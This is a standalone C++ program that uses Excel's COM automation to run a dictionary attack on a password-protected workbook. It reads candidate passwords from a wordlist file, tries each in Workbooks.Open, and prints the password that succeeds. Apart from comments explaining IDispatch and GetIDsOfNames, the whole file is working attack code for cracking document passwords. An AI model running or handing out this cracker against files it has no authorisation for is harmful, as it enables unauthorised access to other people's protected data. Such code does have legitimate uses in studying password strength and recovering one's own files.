#include <windows.h>
#include <ole2.h>
#include <fstream>
using namespace std;
int main(int argc, char* argv[])
{
// global variables
ifstream in_fp;
const char* szFileName = argv[1];
const char* szDictFile = argv[2];
wchar_t wszFileName[MAX_PATH+1];
DISPPARAMS dpNoArgs = {NULL, NULL, 0, 0};
VARIANT vResult; // used to hold variant results
OLECHAR FAR* szFunction;
IDispatch* pDispApp;
IDispatch* pDispXlBooks;
DISPID dispid_Books; //Documents property of application object
DISPID dispid_Quit;
BSTR bstrFileName = ::SysAllocString(OLESTR("filename"));
BSTR bstrPassWord = ::SysAllocString(OLESTR("pass"));
//get arguements and check files
if ( argc != 3 ){
printf("usage %s \n", argv[0]);
exit(1);
}
in_fp.open(szFileName, ios::in);
if (!in_fp || strlen(szFileName) > MAX_PATH){
printf("error loading %s\n", szFileName);
exit(1);
}
in_fp.close();
in_fp.open(szDictFile, ios::in);
if (!in_fp){
printf("error loading %s\n", szDictFile);
exit(1);
}
//convert file name to bstr for use with COM
MultiByteToWideChar(CP_ACP, 0, szFileName, strlen(szFileName)+1,
wszFileName, sizeof(wszFileName)/sizeof(wszFileName[0]));
bstrFileName = ::SysAllocString(wszFileName);
// COM work starts here
//Initialize COM
::CoInitialize(NULL);
printf("initializing COM...\n");
//get the CLSID for the Excel Application Object
CLSID clsid;
CLSIDFromProgID(L"Excel.Application", &clsid);
//get a pointer to the Objects IUnknown interface and Create
//an instance of the Excel Application.
IUnknown* pUnk;
HRESULT hr = ::CoCreateInstance( clsid, NULL,
CLSCTX_SERVER, IID_IUnknown, (void**) &pUnk);
printf("instance of Excel Created...\n");
/*
All COM interfaces inherit from the IUnknown interface, this interface
has a total of three functions: QueryInterface(), AddRef() and Release()
QueryInterface() is used to retrieve a pointer to the IDispatch Interface
and the AddRef() and Release() functions are used to maintain the
reference count (a count of all the number of interface pointers that are
being used by clients).
*/
hr = pUnk->QueryInterface(IID_IDispatch, (void**)&pDispApp);
/*
use ::GetIDsOfNames on pDisApp to get the DISPID
The DISPID (dispatch identifier) uniquely identifies each method within
a function. You then use ::Invoke to call that method or property.
when IDispatch::Invoke is called it also passes on parameters for the
method and recieves it's returned value. This does most of the work.
*/
szFunction = OLESTR("Workbooks");
hr = pDispApp->GetIDsOfNames (IID_NULL, &szFunction, 1,
LOCALE_USER_DEFAULT, &dispid_Books);
hr = pDispApp->Invoke (dispid_Books, IID_NULL,
LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET,
&dpNoArgs, &vResult, NULL, NULL);
pDispXlBooks = vResult.pdispVal;
//DISPPARAMS for Open method
DISPID dispid_Open;
VARIANT vArgsOpen[5];
DISPPARAMS dpOpen;
dpOpen.cArgs = 5;
dpOpen.cNamedArgs = 0;
dpOpen.rgvarg = vArgsOpen;
char entry[25];
wchar_t wszPassWord[25];
printf("attempting dictionary attack...\n");
while(in_fp.getline(entry, sizeof(entry))){
//again convert to bstr
MultiByteToWideChar(CP_ACP, 0, entry, -1,
wszPassWord, sizeof(wszPassWord)/sizeof(wszPassWord[0]));
bstrPassWord = ::SysAllocString(wszPassWord);
vArgsOpen[4].vt = VT_BSTR;
vArgsOpen[4].bstrVal = bstrFileName; //Filename
vArgsOpen[3].vt = VT_ERROR;
vArgsOpen[3].scode = DISP_E_PARAMNOTFOUND; //Updatelinks - ommitted
vArgsOpen[2].vt = VT_BOOL;
vArgsOpen[2].scode = TRUE; //Open ReadOnly
vArgsOpen[1].vt = VT_ERROR;
vArgsOpen[1].scode = DISP_E_PARAMNOTFOUND; //file format - ommitted
vArgsOpen[0].vt = VT_BSTR;
vArgsOpen[0].bstrVal = bstrPassWord; //the file password;
//Invoke the Open method
szFunction = OLESTR("Open");
hr = pDispXlBooks->GetIDsOfNames(IID_NULL, &szFunction, 1,
LOCALE_USER_DEFAULT, &dispid_Open);
hr = pDispXlBooks->Invoke(dispid_Open, IID_NULL,
LOCALE_USER_DEFAULT, DISPATCH_METHOD,
&dpOpen, NULL, NULL, NULL);
printf(".");
if (!FAILED(hr))
break;
}
if (!FAILED(hr)) // the password was in the dictionary file
printf("\npassword is %s\n", entry);
else
printf("\nthe password was not found\n");
//Invoke the Quit method
szFunction = OLESTR("Quit");
hr = pDispApp->GetIDsOfNames(IID_NULL, &szFunction, 1,
LOCALE_USER_DEFAULT, &dispid_Quit);
hr = pDispApp->Invoke (dispid_Quit, IID_NULL,
LOCALE_USER_DEFAULT, DISPATCH_METHOD,
&dpNoArgs, NULL, NULL, NULL);
//Clean-up
::SysFreeString(bstrFileName);
::SysFreeString(bstrPassWord);
pDispXlBooks->Release();
pDispApp->Release();
pUnk->Release();
::CoUninitialize();
return 0;
}